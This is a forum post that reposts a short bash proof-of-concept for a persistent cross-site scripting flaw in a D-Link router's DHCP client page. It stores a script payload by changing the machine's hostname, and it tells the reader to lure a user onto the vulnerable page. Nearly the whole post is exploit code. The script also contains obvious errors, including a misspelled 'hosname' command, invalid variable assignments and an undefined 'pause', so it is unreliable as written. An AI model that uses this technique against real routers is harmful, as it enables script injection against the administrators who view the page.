sensi Posted June 22, 2014 Report Posted June 22, 2014 #!/bin/bash# Written and discovered by Yuval tisf Nativ# The page 'dhcpinfo.html' will list all machines connected to the network with hostname,# IP, MAC and IP expiration. It is possible to store an XSS in this table by changing hostname.# Checks if you are rootif [ "$(id -u)" != "0" ]; then echo "Please execute this script as root" exit 1fi # You're XSS herexss = "\"<script>alert('pwned');</script>"# backup current hostnamecurrhost = `hostname`# Banneringecho ""echo " D-Link Persistent XSS by tisf"echo ""echo "The page dhcpinfo.html is the vulnerable page."echo "Ask the user to access it and your persistent XSS will be triggered."echo ""# Change hostname to XSSsudo hosname $xss# Restore previous hostname on exitpause "Type any key to exit and restore your previous hostname."sudo hostname $currhostsource Quote